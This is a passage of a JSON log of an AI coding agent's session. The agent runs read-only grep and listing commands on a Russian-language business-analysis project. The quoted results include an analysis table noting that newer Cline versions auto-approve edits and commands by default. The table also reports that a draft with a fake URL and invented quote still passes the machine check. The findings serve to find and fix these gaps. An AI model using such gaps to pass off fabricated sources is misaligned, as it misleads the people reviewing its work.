52018,\n[2026-09-29T07:47:41.969Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:47:41.969Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:47:41.969Z] [INFO]         \"ephemeral_1h_input_tokens\": 343\n[2026-09-29T07:47:41.969Z] [INFO]       },\n[2026-09-29T07:47:41.969Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:47:41.969Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:47:41.969Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:47:41.969Z] [INFO]     },\n[2026-09-29T07:47:41.969Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:47:41.969Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:47:41.969Z] [INFO]     \"context_management\": null\n[2026-09-29T07:47:41.969Z] [INFO]   },\n[2026-09-29T07:47:41.969Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:41.969Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:41.969Z] [INFO]   \"uuid\": \"6f075818-f3a6-49a7-8ba9-3a77ef3e3265\",\n[2026-09-29T07:47:41.969Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:41.960Z\",\n[2026-09-29T07:47:41.969Z] [INFO]   \"request_id\": \"req_011CfXMuh4HkK83adz9zkiAR\",\n[2026-09-29T07:47:41.969Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:47:41.969Z] [INFO]     \"toolu_01SWTD1km18u4GBGY5Q7XyGm\": {\n[2026-09-29T07:47:41.969Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; grep -rln \\\"V-DEV\\\\|V-CONTRACT\\\" . | head; grep -n \\\"V-DEV\\\\|V-CONTRACT\\\\|V-APPROVE\\\\|V-BIZ\\\" ba-meta-model/*.md | cut -c1-250 | head -12\",\n[2026-09-29T07:47:41.969Z] [INFO]       \"description\": \"Check projection implementation status\"\n[2026-09-29T07:47:41.969Z] [INFO]     }\n[2026-09-29T07:47:41.969Z] [INFO]   }\n[2026-09-29T07:47:41.969Z] [INFO] }\n[2026-09-29T07:47:43.637Z] [INFO] {\n[2026-09-29T07:47:43.637Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:43.637Z] [INFO]   \"message\": {\n[2026-09-29T07:47:43.637Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:43.637Z] [INFO]     \"id\": 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V4[\\\"V-CONTRACT\\\"]\\nba-meta-model/40-practice-and-cases.md:110:5. **\u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c\u0438.** `V-BIZ`, `V-APPROVE`,\\nba-meta-model/40-practice-and-cases.md:111:   `V-DEV` \u2014 \u0442\u0440\u0438 \u0447\u0442\u0435\u043d\u0438\u044f \u043e\u0434\u043d\u043e\u0433\u043e `A-BCREQ`. \u0412\u0435\u0440\u0441\u0438\u044f 0.4 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u043a \u043d\u0438\u043c \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u043e\u0435,\\nba-meta-model/40-practice-and-cases.md:112:   `V-CONTRACT` \u2014 \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u043e\u0439 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430, \u0433\u0434\u0435 `S-FR` \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a\",\n[2026-09-29T07:47:43.782Z] [INFO]         \"is_error\": false\n[2026-09-29T07:47:43.782Z] [INFO]       }\n[2026-09-29T07:47:43.782Z] [INFO]     ]\n[2026-09-29T07:47:43.782Z] [INFO]   },\n[2026-09-29T07:47:43.782Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:43.782Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:43.782Z] [INFO]   \"uuid\": \"7f9e5bdc-153c-45ff-b304-c2fdc35ded09\",\n[2026-09-29T07:47:43.782Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:43.744Z\",\n[2026-09-29T07:47:43.782Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:47:43.782Z] [INFO]     \"stdout\": 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V4[\\\"V-CONTRACT\\\"]\\nba-meta-model/40-practice-and-cases.md:110:5. **\u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c\u0438.** `V-BIZ`, `V-APPROVE`,\\nba-meta-model/40-practice-and-cases.md:111:   `V-DEV` \u2014 \u0442\u0440\u0438 \u0447\u0442\u0435\u043d\u0438\u044f \u043e\u0434\u043d\u043e\u0433\u043e `A-BCREQ`. \u0412\u0435\u0440\u0441\u0438\u044f 0.4 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u043a \u043d\u0438\u043c \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u043e\u0435,\\nba-meta-model/40-practice-and-cases.md:112:   `V-CONTRACT` \u2014 \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u043e\u0439 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430, \u0433\u0434\u0435 `S-FR` \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a\",\n[2026-09-29T07:47:43.782Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:47:43.782Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:47:43.782Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:47:43.782Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:47:43.782Z] [INFO]   }\n[2026-09-29T07:47:43.782Z] [INFO] }\n[2026-09-29T07:47:45.380Z] [INFO] {\n[2026-09-29T07:47:45.380Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:47:45.380Z] [INFO]   \"message\": {\n[2026-09-29T07:47:45.380Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:47:45.380Z] [INFO]     \"content\": [\n[2026-09-29T07:47:45.380Z] [INFO]       {\n[2026-09-29T07:47:45.380Z] [INFO]         \"tool_use_id\": \"toolu_018gUnscuicjBKefoxCpUfAW\",\n[2026-09-29T07:47:45.380Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:47:45.380Z] [INFO]         \"content\": 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\u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u043d\u0435 \u0432 \u043d\u0435\u0439, \u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u043d\u0435\u0451:\\n33-\u043e\u0431\u0449\u0435\u043d\u0438\u0435, \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f, \u043f\u043e\u0438\u0441\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0432\u044b\u0434\u0430\u0447\u0430\\n34-\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u0435\u0439\u0447\u0430\u0441 \u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043d\u0430\\n35-\u0442\u0435\u043a\u0441\u0442\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0430 \u043d\u0435 \u043d\u0430 \u043a\u043e\u0434\u0435.\\n36-\\n--\\n128:| 6 | \u0413\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 | \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Working, \u0441\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release; \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u043e | \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430 | [\u0413-16](#\u0433-16), [\u0413-17](#\u0433-17), [\u0413-18](#\u0433-18) |\\n129-\\n130-## \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\\n131-\\n132-\u0421\u0441\u044b\u043b\u043a\u0438 \u0432\u0435\u0434\u0443\u0442 \u043d\u0430 `main`. \u041a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f:\\n--\\n165:| \u0413-14 | \u041f\u043e\u043b\u0435 `temperature: 0.1` \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u0435\u043b\u0430\u0435\u0442 \u043e\u0442\u0432\u0435\u0442\u044b \u043c\u043e\u0434\u0435\u043b\u0438 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u043c\u0438 | `temperature` \u0441\u0442\u043e\u0438\u0442 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 [`.clinerules/01-package.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/.clinerules/01-package.md#L5) \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432. \u042d\u0442\u043e \u043c\u0435\u0442\u043a\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430\u043c \u0425\u0430\u0431\u0430, \u0430 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438: Cline v3 \u0438\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e [`paths`](https://github.com/cline/cline/blob/e1bdeeff68e95734901c7a4b3a31753bae54a634/apps/vscode/src/core/context/instructions/user-instructions/rule-conditionals.ts#L77-L106), v4 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e [`name`, `disabled`, `enabled`](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/sdk/packages/core/src/extensions/config/user-instruction-config-loader.ts#L383-L408) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c**: \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u0432 \u0444\u0430\u0439\u043b\u0430\u0445; \u0435\u0451 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0437\u0430\u0434\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043c\u043e\u0434\u0435\u043b\u0438. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 runner, \u0430 \u043d\u0435 \u0442\u0435\u043c\u043f\u0435\u0440\u0430\u0442\u0443\u0440\u0430 ([\u0413-16](#\u0433-16)) |\\n166-| \u0413-15 | \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u00ab\u0417\u0430\u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u00bb \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u0430 \u0432 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0435, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0442\u043e\u0438\u0442 \u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f | \u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f: [\u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0432 PowerShell 7 \u043d\u0430 Linux; \u0432 Windows PowerShell 5.1 \u0435\u0433\u043e \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0438\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/05-commands-reference.md#L105-L108); \u043d\u0430 Windows \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0441\u0442\u043e\u0438\u0442 5.1. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 [\u041e-2](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/01-junior-pilot.md#L136) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c** (B-199): \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `seal` \u0432 runner \u2014 \u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 Python \u0432\u043c\u0435\u0441\u0442\u043e here-string \u0432 PowerShell |\\n167-| \u0413-25 | \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0443\u0432\u0438\u0434\u0438\u0442 \u0432 Cline | \u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u0443\u043d\u043a\u0442\u044b [\u00abRead project files\u00bb, \u00abEdit project files\u00bb, \u00abExecute safe commands\u00bb, \u00abYOLO Mode\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/03-deploy-package.md#L204-L215) \u2014 \u044d\u0442\u043e \u043c\u0435\u043d\u044e Cline v3 ([\u0441\u043f\u0438\u0441\u043e\u043a](https://github.com/cline/cline/blob/e1bdeeff68e95734901c7a4b3a31753bae54a634/apps/vscode/webview-ui/src/components/chat/auto-approve-menu/constants.ts)). \u0412 v4.1.21 \u043f\u0443\u043d\u043a\u0442\u044b \u0434\u0440\u0443\u0433\u0438\u0435 \u2014 [\u00abRead files\u00bb, \u00abEdit files\u00bb, \u00abExecute commands\u00bb, \u00abFetch web content\u00bb, \u00abUse MCP servers\u00bb](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/apps/vscode/webview-ui/src/components/chat/auto-approve-menu/constants.ts#L6-L31), \u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e [\u043f\u0440\u0430\u0432\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0432\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u044b \u0431\u0435\u0437 \u0432\u043e\u043f\u0440\u043e\u0441\u0430](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/apps/vscode/src/shared/AutoApprovalSettings.ts#L28-L43). \u0412\u043c\u0435\u0441\u0442\u0435 \u0441 [\u0413-10](#\u0433-10) \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442: \u043d\u0430 Windows \u0441 \u043d\u043e\u0432\u044b\u043c Cline \u0434\u043e \u0440\u0443\u0447\u043d\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0430\u0433\u0435\u043d\u0442\u0430 \u043d\u0435 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u043d\u0438\u0447\u0435\u0433\u043e, \u043a\u0440\u043e\u043c\u0435 [\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0437\u0430\u0449\u0438\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/03-deploy-package.md#L223-L252), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0443\u044e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e \u043b\u043e\u0432\u0438\u0442. \u0416\u0438\u0432\u0430\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 v4 \u0432 \u044d\u0442\u043e\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u0435 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u0430\u0441\u044c | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c** \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438: \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Cline \u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u043f\u0443\u043d\u043a\u0442\u043e\u0432 \u0434\u043b\u044f \u043d\u0435\u0451; \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0437\u0430\u0449\u0438\u0442\u044b \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u0430 |\\n168-\\n169-### \u0413. \u0411\u0430\u043b\u0430\u043d\u0441 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438: \u0433\u0434\u0435 \u043a\u043e\u043d\u0447\u0430\u0435\u0442\u0441\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f G-mach\\n--\\n173:| \u0413-16 | \u0421\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u044b: \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 Working \u0434\u0430\u0451\u0442 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 Release | \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 Golden \u0434\u0430\u044e\u0442 \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 `release.json` (\u043f\u0440\u043e\u0431\u0430 `P5`). \u0412\u044b\u0432\u043e\u0434 \u2014 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON \u0441 \u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u043e\u0439 \u043a\u043b\u044e\u0447\u0435\u0439 ([`canonical`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/bcreq_pipeline.py#L20-L29)); `validate-release` \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041f\u0440\u0438\u043d\u044f\u0442\u044c** \u043a\u0430\u043a \u043e\u043f\u043e\u0440\u0443: \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f 6, \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442 Working \u0434\u043e Release |\\n174-| \u0413-17 | \u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 PASS \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0438 \u0446\u0438\u0442\u0430\u0442\u044b \u0432\u0437\u044f\u0442\u044b \u0438\u0437 \u043d\u0438\u0445 | \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u0441\u0443\u043c\u043c\u0430 \u2014 `sha256` \u043e\u0442 \u0441\u0430\u043c\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b ([`EVID-03`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/bcreq_pipeline.py#L178-L185)); `retrieval_status: \\\"read\\\"` \u043f\u0438\u0448\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c. \u0427\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u0441 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c \u0430\u0434\u0440\u0435\u0441\u043e\u043c `https://nonexistent.invalid/page/42` \u0438 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u043e\u0439 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 `PASS` (\u043f\u0440\u043e\u0431\u0430 `P4`). \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 [\u0447\u0435\u043a-\u043b\u0438\u0441\u0442 G-human](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/evaluation/g-human-checklist.md#L10) \u043e\u0442\u0434\u0430\u0451\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c**: \u0441\u0443\u043c\u043c\u0430 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0430 \u043d\u0435 \u0435\u0451 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u044c. **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c** \u0434\u043b\u044f KB: \u0435\u0441\u043b\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u2014 \u0444\u0430\u0439\u043b `docs/kb/`, runner \u043c\u043e\u0436\u0435\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0447\u0442\u043e \u0446\u0438\u0442\u0430\u0442\u0430 \u0435\u0441\u0442\u044c \u0432 \u0444\u0430\u0439\u043b\u0435 |\",\n[2026-09-29T07:47:45.380Z] [INFO]         \"is_error\": false\n[2026-09-29T07:47:45.380Z] [INFO]       }\n[2026-09-29T07:47:45.380Z] [INFO]     ]\n[2026-09-29T07:47:45.380Z] [INFO]   },\n[2026-09-29T07:47:45.380Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:45.380Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:45.380Z] [INFO]   \"uuid\": \"a44b67c5-d9c1-4e01-ae17-3f3be5ac103d\",\n[2026-09-29T07:47:45.380Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:45.369Z\",\n[2026-09-29T07:47:45.380Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:47:45.380Z] [INFO]     \"stdout\": \"dist/execution-package-cline-vscode:\\nAGENTS.md\\nREADME.md\\ncontracts\\ndocs\\nevaluation\\ngolden\\nmeta-model\\npackage-manifest.yaml\\nroutes\\nruns\\nsubmissions\\ntaxonomy\\ntemplates\\ntools\\n\\ndist/execution-package-gigacode-cli:\\nAGENTS.md\\nREADME.md\\ncontracts\\ndocs\\nevaluation\\ngolden\\nmeta-model\\npackage-manifest.yaml\\nrequirements.txt\\nroutes\\nruns\\ntaxonomy\\ntemplates\\ntools\\ndist/execution-package-gigacode-cli/golden:\\ncandidates\\ncases.yaml\\ngs-cc-01-queue-overflow.md\\ngs-cc-02-report-export.md\\ngs-cc-neg-01-inbound-vs-outbound.md\\ngs-cc-neg-02-queue-vs-group.md\\ngs-cc-neg-03-sla-vs-aht.md\\ngs-cc-neg-04-ivr-vs-announcer.md\\n\\ndist/execution-package-gigacode-cli/templates:\\nbcreq-skeleton.md\\ncheckpoint-skeleton.md\\ncore-skeleton.yaml\\nquest-skeleton.md\\n32:[\u0413-16](#\u0433-16)). \u0420\u0430\u0437\u0440\u044b\u0432 \u0441 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f\u043c\u0438 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u043d\u0435 \u0432 \u043d\u0435\u0439, \u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u043d\u0435\u0451:\\n33-\u043e\u0431\u0449\u0435\u043d\u0438\u0435, \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f, \u043f\u043e\u0438\u0441\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 